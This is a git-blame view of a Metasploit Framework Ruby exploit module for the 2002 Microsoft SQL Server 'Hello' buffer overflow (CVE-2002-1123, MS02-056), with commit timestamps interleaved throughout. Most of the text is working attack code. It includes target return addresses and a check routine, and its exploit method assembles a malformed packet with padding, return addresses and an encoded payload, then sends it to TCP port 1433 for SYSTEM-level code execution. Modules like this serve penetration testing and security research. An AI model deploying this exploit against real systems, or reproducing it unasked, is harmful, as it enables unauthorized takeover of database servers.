2007-02-18 00:10:39 +00:00
|
|
|
##
|
2007-03-01 08:21:36 +00:00
|
|
|
# $Id$
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
##
|
|
|
|
# This file is part of the Metasploit Framework and may be subject to
|
|
|
|
# redistribution and commercial restrictions. Please see the Metasploit
|
|
|
|
# Framework web site for more information on licensing and terms of use.
|
2009-04-13 14:33:26 +00:00
|
|
|
# http://metasploit.com/framework/
|
2007-02-18 00:10:39 +00:00
|
|
|
##
|
|
|
|
|
|
|
|
|
2005-11-26 11:16:36 +00:00
|
|
|
require 'msf/core'
|
|
|
|
|
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
class Metasploit3 < Msf::Exploit::Remote
|
2005-11-26 11:16:36 +00:00
|
|
|
|
2008-10-02 05:23:59 +00:00
|
|
|
include Msf::Exploit::Remote::MSSQL
|
2005-11-26 11:16:36 +00:00
|
|
|
|
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
2006-09-13 06:49:39 +00:00
|
|
|
'Name' => 'Microsoft SQL Server Hello Overflow',
|
2005-11-26 11:16:36 +00:00
|
|
|
'Description' => %q{
|
|
|
|
By sending malformed data to TCP port 1433, an
|
|
|
|
unauthenticated remote attacker could overflow a buffer and
|
|
|
|
possibly execute code on the server with SYSTEM level
|
|
|
|
privileges. This module should work against any vulnerable
|
|
|
|
SQL Server 2000 or MSDE install (< SP3).
|
|
|
|
|
|
|
|
},
|
2009-09-27 21:30:45 +00:00
|
|
|
'Author' => [ 'MC' ],
|
2006-06-21 18:38:40 +00:00
|
|
|
'License' => MSF_LICENSE,
|
2005-11-26 11:16:36 +00:00
|
|
|
'Version' => '$Revision$',
|
|
|
|
'References' =>
|
|
|
|
[
|
2006-11-28 17:18:43 +00:00
|
|
|
[ 'CVE', '2002-1123'],
|
2009-06-07 20:20:42 +00:00
|
|
|
[ 'OSVDB', '10132'],
|
|
|
|
[ 'BID', '5411'],
|
2005-11-26 11:16:36 +00:00
|
|
|
[ 'MSB', 'MS02-056'],
|
|
|
|
|
|
|
|
],
|
|
|
|
'Privileged' => true,
|
|
|
|
'Payload' =>
|
|
|
|
{
|
|
|
|
'Space' => 512,
|
|
|
|
'BadChars' => "\x00",
|
2006-07-31 02:01:14 +00:00
|
|
|
'StackAdjustment' => -3500,
|
2005-11-26 11:16:36 +00:00
|
|
|
},
|
|
|
|
'Targets' =>
|
|
|
|
[
|
|
|
|
[
|
|
|
|
'MSSQL 2000 / MSDE <= SP2',
|
|
|
|
{
|
|
|
|
'Platform' => 'win',
|
|
|
|
'Rets' => [0x42b68aba, 0x42d01e50],
|
|
|
|
},
|
|
|
|
],
|
|
|
|
],
|
2006-02-21 14:27:28 +00:00
|
|
|
'Platform' => 'win',
|
2005-11-26 11:16:36 +00:00
|
|
|
'DisclosureDate' => 'Aug 5 2002',
|
|
|
|
'DefaultTarget' => 0))
|
|
|
|
end
|
|
|
|
|
|
|
|
def check
|
|
|
|
info = mssql_ping
|
|
|
|
if (info['ServerName'])
|
|
|
|
print_status("SQL Server Information:")
|
|
|
|
info.each_pair { |k,v|
|
|
|
|
print_status(" #{k + (" " * (15-k.length))} = #{v}")
|
|
|
|
}
|
|
|
|
return Exploit::CheckCode::Detected
|
|
|
|
end
|
|
|
|
return Exploit::CheckCode::Safe
|
|
|
|
end
|
|
|
|
|
|
|
|
def exploit
|
|
|
|
connect
|
|
|
|
buf = "\x12\x01\x00\x34\x00\x00\x00\x00\x00\x00\x15\x00\x06\x01\x00\x1b" +
|
|
|
|
"\x00\x01\x02\x00\x1c\x00\x0c\x03\x00\x28\x00\x04\xff\x08\x00\x02" +
|
|
|
|
"\x10\x00\x00\x00" +
|
2007-03-01 08:21:36 +00:00
|
|
|
rand_text_english(528, payload_badchars) +
|
2005-11-26 11:16:36 +00:00
|
|
|
"\x1B\xA5\xEE\x34" +
|
2007-03-01 08:21:36 +00:00
|
|
|
rand_text_english(4, payload_badchars) +
|
2005-11-26 11:16:36 +00:00
|
|
|
[ target['Rets'][0] ].pack('V') +
|
|
|
|
[ target['Rets'][1], target['Rets'][1] ].pack('VV') +
|
|
|
|
'3333' +
|
|
|
|
[ target['Rets'][1], target['Rets'][1] ].pack('VV') +
|
2007-03-01 08:21:36 +00:00
|
|
|
rand_text_english(88, payload_badchars) +
|
2005-11-26 11:16:36 +00:00
|
|
|
payload.encoded +
|
|
|
|
"\x00\x24\x01\x00\x00"
|
|
|
|
|
|
|
|
sock.put(buf)
|
|
|
|
|
|
|
|
handler
|
|
|
|
disconnect
|
|
|
|
end
|
|
|
|
|
2009-06-07 20:20:42 +00:00
|
|
|
end
|